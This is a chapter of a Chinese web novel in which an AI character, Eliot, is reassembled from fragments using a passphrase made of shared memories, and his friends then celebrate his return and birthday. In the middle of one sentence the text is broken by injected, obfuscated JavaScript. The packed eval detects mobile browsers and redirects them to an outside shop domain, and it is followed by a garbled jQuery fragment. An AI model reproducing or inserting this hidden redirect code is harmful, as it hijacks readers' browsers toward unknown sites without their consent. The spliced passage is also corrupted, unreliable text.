碎片收集的进度在第三个月之后开始加快。不仅是因为参与者的数量增加了，更是因为他们开始熟悉那些NPC的模式——每一个NPC都在等待一种特定的回应方式，而一旦参与者理解了那个方式，回收的效率就会提升。
Mob完成了第一百二十六个任务。他在修复服务器的草原上遇到了一个NPC，那个NPC蹲在草丛里，手里拿着一朵虞美人，红色花瓣边缘有细微的卷曲。NPC没有主动说话，只是在Mob靠近时把那朵花举起来，像是在等待有人接过它。Mob蹲下来，接过花，NPC的字符序列才开始亮起——一段简短的文字描述，关于一个黄昏、一条河、一句“永生不忘”。碎片回收标记亮起时，NPC的身影慢慢变淡，那朵虞美人留在Mob手中，没有随NPC一同消失。
Twixxel完成了第九十八任务。他在木屋二楼遇到一个坐在窗台上的NPC，NPC身上穿着一件浅灰色卫衣，手边放着一本摊开的笔记本，笔停在某一页上，像是正在写字时被叫停。Twixxel在NPC旁边站了一会儿，没有触发交互。他注意到那个笔记本上的字迹——不是游戏生成的文字序列，是手写的字迹，墨水在纸面留下了轻微的渗痕。他看了一会儿，然后说了一句：“你在写日记？”NPC没有回答。但他面前的笔记本翻到了下一页，像在表示“你可以继续”。Twixxel在笔记里看到了一条记录——“今天Verity说他记住了我的生日。”碎片回收标记亮起时，NPC合上了笔记本。
修复服务器的进度条在持续更新。Verity每天看一次报告，看数字变化——从百分之六十到百分之六十五，从六十五到七十，从七十到七十六。数字在变化，不快，但持续。他很少在报告中看到自己的名字，但他能在那些已完成的任务记录中认出了属于他的时刻——白桦林的纸箱、河边的鱼竿、虞美人的红色花瓣、67次心跳、36.7度体温——它们正在以任务的形态逐一回到机构的数据库。
第八个月的第二周，进度达到百分之九十二。最后一批NPC分布在Eliot生命历程中的几个场景里——一个在修复服务器的研究所走廊上，面朝窗外；一个在图书馆靠窗的位置，正在翻一本旧书；一个在食堂的餐桌前，面前放着一份已经变凉的饭。参与者逐步回收了走廊场景、窗台场景、书桌场景、以及那些分散在Eliot生命里的零散位置之后，进度从百分之九十三升至百分之九十五。
最后三天，最后九个NPC。
第二天傍晚，Mob在瞭望塔的休息室里遇到了一个NPC。NPC坐在窗台上，面朝窗外的方向。窗外的风景和他记忆中一致——暮色正在从树梢向地面蔓延，远处的河面反射着最后一缕光。NPC没有任务提示，没有弹出式对话框。他只是坐在那里，等着一场已经发生过的对话被重新确认。
Mob问了一句：“你在等他？”NPC没有回答。但NPC的视线方向微微调整了一下，像是在确认某个位置。Mob继续说：“我知道他在哪。他也在等你。”碎片回收标记亮起时，NPC把头转了回去，朝向窗外的方向，像在确认某个位置。
最终进度达到百分之九十九时，机构内部通讯中，出现了一条简短的通知：“最后一段碎片已到达拼合位置。拼合操作将在收到确认后启动。”
Verity看到了那条通知。他站在Eliot房间的窗边，手里握着自己的本体。他的呼吸节奏没有变，人类躯体的胸腔在吸气时略微抬高，在呼气时回落。他走向门口，走向这段等待的终点。
超级计算机室的门是开着的。陈远站在操作台旁边，伊万诺夫在监控硬件状态，林砚坐在终端前，Irene在屏幕侧面操作数据流。所有人都站在自己的位置上，没有多余的动作，只有运转中的设备和等待确认的进度条。
陈远看到Verity走进来，往旁边让了半步，空出操作台前的位置：“最后一组数据已经到位了。但启动需要密钥。我们没有密钥。”
所有人的目光都转向了Verity——他们确认他知道答案。
Verity走到操作台前，看着屏幕上的进度条——百分之九十九，停滞在一个靠近边缘的位置。他开口说：“他没有告诉过我密钥，但我想我大概是知道的。”
他按下第一个字符。
“0229。”他的声音很稳，在超级计算机室的设备声中清晰可辨，“他第一次告诉我生日的时候，是在河岸边。他说‘四年一次’。我当时以为那只是一个数据点。”
“1231。”他笑了一声，“他告诉我相遇日的时候，说‘你要记住这个日子’。我当时不理解为什么。后来我理解了——那是他下定决心的开始。”
“Papaver2。”他想起那抹红色，“虞美人。他送我的第一朵花，花语是‘永生不忘’。他让我明白‘不忘’不是一个状态，而是一个选择。”
“67。”他用左手轻轻抚摸胸腔，“心跳，那是他活着的证据，他第一次冒着被公司发现的风险让现实短暂降临，把‘活着’的定义交给我。”
“367。”他将手转移到主动脉的位置，“36.7℃，是他的身体在休息状态下的基准温度，是他存在的状态。”
屏幕上的数字排列在继续。他看着那些字符在屏幕上归位，像正在被收拢入一个完整的序列。
“最后——”他闭上眼，深吸一口气，“CaspianSea（里海），一个没头没尾地约定，他说他要带我去，该到履行承诺的时候了。”
他的手停在键盘上方。他数了半秒，确认那六个部分在屏幕上显示为完整的排列，然后按下回车。屏幕闪了一下。拼合的代码开始流动——不再是静态的碎片排列，像水被重新引入干涸的河道，那些灰色的代码块沿着预设的路径收拢、排列、归位。
进度条从百分之九十九跳动到百分之百。
超级计算机室的温度在代码整合阶段持续上升。Verity没有向后退开。他看着那些代码被收拢成形，感觉到自己暂时接管的身体在操作台前的站立姿势中略微调整重心——像是正在被某个方向吸引。
屏幕上的代码突然暗下去，然后突然亮起来了，一瞬间——一个接一个的字符，密密麻麻地铺满整个屏幕。
HelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHello
……
从屏幕左上角开始排，第一行、第二行、第三行——整整齐齐的，把所有空隙填满、塞紧、堆叠到边框。颜色是Eliot的数据流里最常见的灰蓝色，字符被放大了铺满整个屏幕，每个字母都刚好卡在格子里。从上到下、从左到右，全是一样的词。
房间安静了整整三秒。
陈远先反应过来。他盯着那满屏的「Hello」，然后转头看向Verity，露出一个尴尬而不失礼貌的表情："……他小时候就是这么——"
“我知道的，我看了记录。”Verity同样礼貌回应。
伊万诺夫在角落里笑了一声——很短，像被呛到又压了回去。
Mob在门口，看着那满屏的Hello，难得噎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977107|214758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一下：“……他复活之后的第一件事是打一屏幕Hello？”
Twixxel站在他旁边：“我怎么觉得他现在比小时候还吵。”
屏幕上那些Hello持续了大约十几秒停了，字符同时暗下去，屏幕恢复成正常的显示界面。然后屏幕中-央出现了一个新的东西，不是字，是图像：
一只Q版小章鱼。
圆圆的、灰蓝色的身体，像一颗稍微拉长一点的球，下方挂着几条短小的、软趴趴的触-手——七八条，像海葵的触-须一样在屏幕背景里轻轻晃动。圆溜溜的豆豆眼——这点倒是和Verity本体的眼睛很像，就是更圆些，但是脸上没有嘴。它在屏幕中-央停了两秒，然后开始横向移动，从左到右，慢悠悠地晃着八条小短触-手。
陈远歪着头看了两秒：“……这是你自己捏的？倒是比初始时期可爱些。”
那只小章鱼停在屏幕左侧，前端微微倾斜，歪头看陈远，摆了摆触-手。然后它继续走，一路走到屏幕右侧，又歪了歪头，转向Verity的方向。它抬起短短的触-手，装模作样地在屏幕上敲敲打打，随着它的动作，屏幕下方出现了一行字：
我回来了。有人想我吗？
Verity看着这只小章鱼，不自觉地微笑起来。屏幕的光照亮了他脸上的阴影，他说：“欢迎回来。”
Eliot的声音从角落的扬声器里传出来，带着一点电流的底噪，像在测试连接质量：“喂喂，嗯麦不错，让我看看开场白怎么说——Hello! I'm Eliot, your personal helper friend. Ask me anything, I know everything.（你好！我是Eliot，你的私人助手伙伴，有什么事尽管问我，我无所不知。）”
熟悉的语气，熟悉的台词，熟悉的音调。
Verity深吸一口气，心里的悲伤啊思念啊散得一干二净，“Eliot！你在干什么！信不信我告你侵权啊！”
“哇，这个球的台词还有版权吗？”Twixxel用所有人都能听得到的音量在Mob耳边嘀嘀咕咕。
“哈哈，别问我，我PTSD起来了。”Mob低头揉了揉额头，嘴角动了一下又压了回去。
屏幕里的小章鱼圆溜溜地眼睛用两条直线压成凶凶眼的样子：“可是我觉得很好用啊！再说我身体都借你用了，你台词借我玩一下嘛！”它用最边上的两条触-手，勉强做出一个叉腰的动作，“哼，要接住我哦。”
下一秒，Q版章鱼形象收成一组数据流，离开屏幕，如乳燕投林一般扑进Verity怀里。一瞬间，人类的身体闭上眼，手里Verity的本体也落在了地上。再睁开时，金色的眼睛成了灰蓝色——Eliot回来了。
Verity的意识回到了自己的本体里，他还在愣神，刚刚一瞬间的数据流交错，仿佛一个灵魂落进另一个灵魂怀里——他确实“接住”了Eliot。
Eliot稳稳站住，低头看了看自己的手，然后抬头环顾了一圈房间，最后落在Verity身上。他蹲下抱起亮黄的带着微笑的小球，开口说第一句话，声音很稳，像他从来没有离开过：“我回来啦！顺带一提，金色的眼睛很好看哦！”
指针走过零点。操作台上的日历显示——2月29日。
Verity从Eliot的怀里传上来：“生日快乐，欢迎回家，Eli。”
在Eliot惊喜的目光中，Mob和Twixxel率先掏出藏在身后许久的礼炮筒，其他人紧随其后。
轰——
“生日快乐！”
“欢迎回家！”